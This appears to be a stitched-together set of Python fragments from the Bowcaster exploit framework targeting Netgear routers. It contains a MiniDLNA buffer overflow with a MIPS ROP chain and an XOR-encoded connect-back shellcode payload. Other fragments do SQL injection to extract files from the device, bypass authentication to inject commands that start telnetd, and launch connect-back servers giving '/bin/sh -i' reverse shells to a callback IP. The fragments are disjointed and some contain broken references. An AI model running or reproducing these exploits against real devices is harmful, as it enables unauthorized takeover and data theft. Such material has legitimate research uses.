def __init__(self,image_data,logger=None): """ Params ------ image_data: The actual data of the firmware image this header should describe and be prepended to. logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger=Logging(max_level=Logging.DEBUG) self.logger=logger logger.LOG_DEBUG("Creating ambit header.") self.size=self.HEADER_SIZE logger.LOG_INFO("Calculating checksum of TRX image.") self.trx_image_checksum=self.__checksum(image_data) logger.LOG_DEBUG("Calculated TRX image checksum: 0x%08x" % self.trx_image_checksum) self.trx_image_sz=len(image_data) logger.LOG_INFO("Building header without checksum.") header=self.__build_header() logger.LOG_INFO("Calculating header checksum.") chksum=self.__checksum(header) logger.LOG_DEBUG("Calculated header checksum: 0x%08x" % chksum) logger.LOG_INFO("Building header with checksum.") header=self.__build_header(checksum=chksum) self.header=header
def __init__(self, target_ip, path, port=8200, albumart_id="31337", logger=None): cls = self.__class__ if not logger: print("%s: creating logger" % cls.__name__) logger = Logging() self.logger = logger logger.LOG_INFO("path to extract: %s" % path) logger.LOG_INFO("Album art id: %s" % albumart_id) inject_details = cls.INSERT_ALBUM_ART % (albumart_id, path) inject_string = cls.INJECT_START inject_string += inject_details inject_string += cls.INJECT_END logger.LOG_DEBUG("Injection string:\n\t%s" % inject_string) self.extraction_url = "http://%s:%d/AlbumArt/%s-1.jpg" % ( target_ip, port, albumart_id) super(self.__class__, self).__init__(target_ip, port=port, inject_string=inject_string, logger=logger)
def relock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if not is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already locked!") return client=HttpClient() url="%s://%s:%d/BRS_success.html" %(protocol,target,port) logger.LOG_INFO("Requesting BRS_success.html in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if not timestamp: logger.LOG_WARN("Couldn't extract timestamp from response.") else: logger.LOG_DEBUG("Timestamp: %s" % timestamp) url=("%s://%s:%d/apply.cgi?/" % (protocol,target,port)+ "BRS_netgear_success.html%20timestamp=" + timestamp) post_data={"submit_flag":"hijack_success", "click_flag":"0"} resp=client.send(url,post_data=post_data,urlencode=True)
def main(command): logger=Logging() logger.LOG_INFO("Bulding overflow.") buf=build_overflow(logger) if command.startswith("find="): find_string=command.split("find=")[1] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") server=ConnectbackServer(CALLBACK_IP,port=8080,logger=logger) pid=server.serve() target_ip=command if pid: try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: logger.LOG_WARN("Failed to start connect-back server.") sys.exit(1) logger.LOG_INFO("Done.")
def do_verification(host, port=8200, logger=None): if not logger: logger = Logging() data = albumart_extract(host, "/usr/sbin/minidlna.exe", logger=logger) verifier = MinidlnaVerifier(data) logger.LOG_INFO("MD5 of minidlna binary: %s" % verifier.hexdigest) if verifier.versions: logger.LOG_INFO("\tFirmware version: %s\n\tminidlna version: %s" % (verifier.versions[0], verifier.versions[1])) return True else: logger.LOG_WARN("Minidlna binary did not match known hash.") return False
def inject_command(command,target,port=80,logger=None,https=False): if not logger: logger=Logging() client=HttpClient() protocol="http" if https: protocol="https" url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if timestamp: logger.LOG_DEBUG("Got timestamp: %s" % timestamp) else: logger.LOG_WARN("Couldn't extract timestamp from response.") raise Exception() url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) url+="%20timestamp="+timestamp logger.LOG_DEBUG("URL: %s" % url) post_data={} post_data["submit_flag"]="ping6" post_data["ping6_text"]=command post_data["traceroute6_text"]="" client.send(url,post_data=post_data,urlencode=True)
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() logger.LOG_DEBUG("Clearing previous overflow from database.") request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() logger.LOG_DEBUG("Staging record in DETAILS table.") request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() logger.LOG_DEBUG("Staging record in OBJECTS table.") request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) # logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port, logger=logger) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def main(options): logger=Logging() logger.LOG_INFO("Bulding overflow.") connectback_ip=options["connectback_ip"] buf=build_overflow(connectback_ip,logger=logger) if options.has_key("overflow_file"): logger.LOG_INFO("Writing overflow string to file: %s" % options["overflow_file"]) open(options["overflow_file"],"wb").write(str(buf)) if options.has_key("find_string"): find_string=options["find_string"] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") try: server=ConnectbackServer(connectback_ip,port=8080,logger=logger) pid=server.serve() except Exception as e: logger.LOG_WARN("Failed to start connect-back server: %s" % str(e)) sys.exit(1) if options.has_key("target"): target_ip=options["target"] target_ip=command try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: try: server.wait() except: server.shutdown() logger.LOG_INFO("Done.")
def unlock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already unlocked.") return else: logger.LOG_INFO("Unlocking target.") client=HttpClient() url="%s://%s:%d/BRS_02_genieHelp.html" % (protocol,target,port) client.send(url) if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target unlocked!") else: logger.LOG_WARN("Target unlock failed!") raise Exception("Unlock failed.")
def main(target, port=80, protocol="http"): logger = Logging() https = False if protocol == "https": https = True logger.LOG_INFO(STARS) fingerprint_data = fingerprint_netgear_version(target, port=port, https=https) if not validate_fingerprint(fingerprint_data, logger=logger): logger.LOG_WARN("Failed to fingerprint device.") sys.exit(1) logger.LOG_INFO("Device fingerprint successful.") logger.LOG_INFO(STARS) unlock_target(target, port=port, logger=logger, https=https) if is_unlocked(target, port=port, https=https): logger.LOG_INFO("Target unlock successful.") else: logger.LOG_WARN("Target unlock unsuccessful.") sys.exit(1) logger.LOG_INFO(STARS) logger.LOG_INFO("Attempting to inject command: %s" % TELNET_COMMAND) inject_command(TELNET_COMMAND, target, port=port, logger=logger, https=https) logger.LOG_INFO(STARS) logger.LOG_INFO("Relocking target.") relock_target(target, port=port, logger=logger, https=https) if not is_unlocked(target, port=port, https=https): logger.LOG_INFO("Target relock successful.") else: logger.LOG_WARN("Target relock unsuccessful") sys.exit(1)
def main(input_files, output_file, find_str=None): logger = Logging(max_level=Logging.DEBUG) logger.LOG_DEBUG("Building firmware from input files: %s" % str(input_files)) fwimage = FirmwareImage(input_files) if find_str: find = find_str if find_str.startswith("0x"): find = int(find_str, 0) logger.LOG_DEBUG("Finding offset of 0x%08x" % find) else: logger.LOG_DEBUG("Finding offset of %s" % find) offset = fwimage.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) else: logger.LOG_INFO("Writing firmware to %s\n" % output_file) out = open(output_file, "wb") out.write(str(fwimage)) out.close()
msearch_string=msearch_crash.MsearchCrash(buffer_overflow_string) pid=None if len(sys.argv) > 1: search_string=sys.argv[1] if "0x" == search_string[0:2]: search_string_num=int(search_string,0) search_string=struct.pack(">L",search_string_num) offset=buffer_overflow_string.find_offset(search_string) if(offset < 0): print "Couldn't find string %s in the overflow buffer." % search_string else: print "Found string %s at\noffset: %d" % (search_string,offset) else: pid=connectback_server.serve() #sys.stdout.write(str(msearch_string)) if pid: try: logger.LOG_INFO("Sending exploit") send_multicast("239.255.255.250",1900,str(msearch_string)) connectback_server.wait() except Exception as e: print e connectback_server.shutdown() else: logger.LOG_WARN("Failed to start connect-backserver.") sys.exit(1)
def __init__(self, length, connectback_ip, port=8080, logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_INFO("Building buffer overflow.") ra = 211 s8 = 207 fp = s8 s7 = 203 s6 = 199 s5 = 195 s4 = 191 s3 = 187 s2 = 183 s1 = 179 s0 = 175 SC = SectionCreator(LittleEndian, badchars=cls.BADCHARS, base_address=cls.LIBC_BASE) logger.LOG_INFO("Assembling ROP chain.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375)) #This needs to be a pointer that can be dereferenced to another pointer, #which can be incremented to a memory location. #This is a pointer in the .sdata section that points to itself, and is #followed by null bytes and is writable. SC.gadget_section( 375, 0x4A558, description= "Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.", base_address=cls.LIBAVUTIL_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151)) #This needs to be any readable memory location. #This points to the string "November" in libc's read-only data section. SC.gadget_section( 151, 0x0005367A, description= "Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", base_address=cls.LIBC_BASE) # SC.gadget_section(151,0x126DB0, # description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", # base_address=cls.LIBAVCODEC_BASE) # # SC.gadget_section(159,0x126db4, # description="Pointer to nul bytes.Placeholder for argument to vsnprintf()", # base_address=cls.LIBAVCODEC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103)) #Pointer to "November" in libc SC.gadget_section( 103, 0x0005367A, description= "Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163)) #Pointer to "November" in libc SC.gadget_section( 163, 0x0005367A, description= "Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391)) SC.gadget_section( 391, 0x1ca490b, description= ("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n" + "Ultimately Passed to strcatf() in var_118 at 0x41644c"), base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363)) SC.gadget_section( 363, 0x07EC80, description= "Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.", base_address=cls.LIBAVFORMAT_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367)) SC.gadget_section( 367, 0xFFF80BE0, description= "Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.", base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra)) # .text:0001D95C move $t9, $s1 # .text:0001D960 lw $ra, 0x28+var_4($sp) # .text:0001D964 lw $s2, 0x28+var_8($sp) # .text:0001D968 lw $s1, 0x28+var_C($sp) # .text:0001D96C lw $s0, 0x28+var_10($sp) # .text:0001D970 jr $t9 # .text:0001D974 addiu $sp, 0x28 SC.gadget_section( ra, 0x1D95C, description= "[ra] Stage stack data into $ra for return from sleep(), jr $s1.", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1)) # .text:00043884 move $t9, $s0 # .text:00043888 li $a0, 2 # .text:0004388C lw $s0, 0x20+var_8($sp) # .text:00043890 li $a1, 1 # .text:00043894 move $a2, $zero # .text:00043898 jr $t9 # .text:0004389C addiu $sp, 0x20 SC.gadget_section( s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0") #new register offsets (As a result #of $ra gadget, but before $s1 gadget is loaded by $ra gadget): ra = 251 s2 = 247 s1 = 243 s0 = 239 # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0)) #Stage sleep() in $s0 SC.gadget_section( s0, 0x000506C0, description= "[s0] Address of sleep(). Next gadget jumps to this address.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2)) SC.gadget_section( s2, 0x000506C0, description= "[s2] A pointer that can be dereferenced with out crashing the next gadget." ) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra)) # .text:000427A8 addiu $s0, $sp, 0xE0+var_C0 # .text:000427AC lw $a0, 0($s2) # .text:000427B0 move $a1, $s1 # .text:000427B4 move $a2, $s4 # .text:000427B8 move $t9, $s6 # .text:000427BC jalr $t9 # .text:000427C0 move $a3, $s0 SC.gadget_section( ra, 0x427A8, description= "[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6)) # (Start one instruction early because 3c is a bad byte.) # .text:00010938 la $t9, free # .text:0001093C move $t9, $s0 # .text:00010940 jalr $t9 # .text:00010944 move $a0, $s2 SC.gadget_section(s6, 0x10938, description="[s6] Stackjumper. jalr $s0.") logger.LOG_INFO("Adding trampoline 1 at offset 319.") trampoline_1 = Trampoline(LittleEndian, -310) SC.string_section( 319, trampoline_1.shellcode, description="Trampoline back to beginning of buffer.") logger.LOG_INFO("Adding trampoline 2 at offset 11.") trampoline_2 = Trampoline(LittleEndian, 1028) SC.string_section(11, trampoline_2.shellcode, description="Trampoline forward to trampoline 3.") #trampoline_3=Trampoline(LittleEndian,-618) #SC.string_section(1043,trampoline_3.shellcode, # description="Trampoline back to payload.") logger.LOG_INFO("Generating connect-back payload.") payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port) try: logger.LOG_INFO("Attempting to XOR encode payload.") encoded_payload = MipsXorEncoder(payload, logger=logger, badchars=cls.BADCHARS) except EncoderException as e: logger.LOG_WARN("%s" % str(e)) raise DLNAOverflowException("Payload generation failed.") self.logger.LOG_DEBUG("Length of encoded shellcode: %d" % len(encoded_payload.shellcode)) logger.LOG_INFO("Adding encoded payload at offset 1043.") #offset 427 with 3trampolines. 1043 with only 2 trampolines SC.string_section( 1043, encoded_payload.shellcode, description="XOR encoded connect-back shell to ip:port %s:%d" % (connectback_ip, port)) self.buf = OverflowBuffer(LittleEndian, length, SC.section_list) logger.LOG_INFO("Finished generating overflow string.")
raise Exception("Exploit failed.") logger = Logging() WNDR3700_class = WNDR3700.WNDR3700_version_detect(target_ip, logger=logger) if len(sys.argv) > 1 and sys.argv[1].startswith('find='): find = sys.argv[1].split('=')[1] found = WNDR3700_class(callback_ip, callback_port, target_ip, encode=True, logger=logger).find(find) logger.LOG_INFO("found string %s at offset %d" % (find, found)) sys.exit(0) """ try: dlna_overflow=WNDR3700_class(callback_ip,callback_port,target_ip,encode=True,logger=logger) except Exception as e: print str(e) sys.exit(1) """ dlna_overflow = WNDR3700_class(callback_ip, callback_port, target_ip, encode=True, logger=logger) dlna_overflow.overflow_data.print_section_descriptions()
def main(options, logger=None): outfile = None path = None connectback_ip = None port = None host = None if not logger: logger = Logging() try: port = options["port"] except KeyError: port = 8200 try: connectback_ip = options["connectback_ip"] except KeyError: pass try: host = options["target"] except KeyError: pass try: path = options["extract"] except KeyError: pass if path: try: outfile = options["outfile"] host = options["target"] logger.LOG_DEBUG("main() got path=%s" % path) albumart_extract(host, path, outfile=outfile, logger=logger) exit(0) except KeyError: print( "File extraction requires a remote path, local file, and target IP address." ) usage(1) if connectback_ip: buf = DLNA_Overflow(1536, connectback_ip, logger=logger).buf try: find_str = options["find_string"] logger.LOG_INFO("Finding offset of %s" % find_str) find = find_str if find_str.startswith("0x"): find = int(find_str, 16) offset = buf.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) exit(0) except KeyError: pass if not host: print("Remote exploitation requires a target IP address.") usage(1) else: print( "No file extraction, overflow search string, or remote target was provided." ) usage(1) if not do_verification(host, port=port, logger=logger): exit(1) server = ConnectbackServer(connectback_ip, startcmd="/bin/sh -i") server.serve() try: do_overflow(host, buf, port=port, logger=logger) except Exception as e: server.shutdown() raise e server.wait()
# Copyright (c) 2013 # - Zachary Cutlip <*****@*****.**> # - Tactical Network Solutions, LLC # # See LICENSE.txt for more details. # import sys import os sys.path.insert(0,os.path.abspath('..')) from bowcaster.overflow_development.overflowbuilder import EmptyOverflowBuffer from bowcaster.common.support import BigEndian from bowcaster.common.support import Logging logger=Logging() logger.LOG_INFO("Creating empty overflow buffer") buf=EmptyOverflowBuffer(BigEndian,badchars=['A','B','6']) buf.add_pattern(1024) logger.LOG_INFO("Length of empty overflow buffer: %d" % buf.len()) buf.print_section_descriptions() print buf.pretty_string() logger.LOG_INFO("Offet of \"u3Au4\": %d" % buf.find_offset("u3Au4")) logger.LOG_INFO("Creating second emtpy overflow buffer")
offset = buf.find_offset(search_value) if (offset < 0): print "Couldn't find string %s in the overflow buffer." % search_string else: print "Found string %s at\noffset: %d" % (search_string, offset) exit(0) addr = sys.argv[1] port = int(sys.argv[2]) connectback_server = ConnectbackServer(CALLBACK_IP, startcmd="/bin/sh -i") #Or non-interactive exploitation: #connectback_server=ConnectbackServer(connectback_host,startcmd="/usr/sbin/telnetd -p 31337",connectback_shell=False) pid = connectback_server.serve() time.sleep(1) if pid: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((addr, port)) logger.LOG_INFO("sending exploit.") sock.send(str(buf)) sock.close() connectback_server.wait() except Exception as e: logger.LOG_WARN("Failed to connect. ") logger.LOG_WARN("Failed to connect. Killing connect-back server.") connectback_server.shutdown() else: logger.LOG_WARN("Failed to start connect-back server.") sys.exit(1)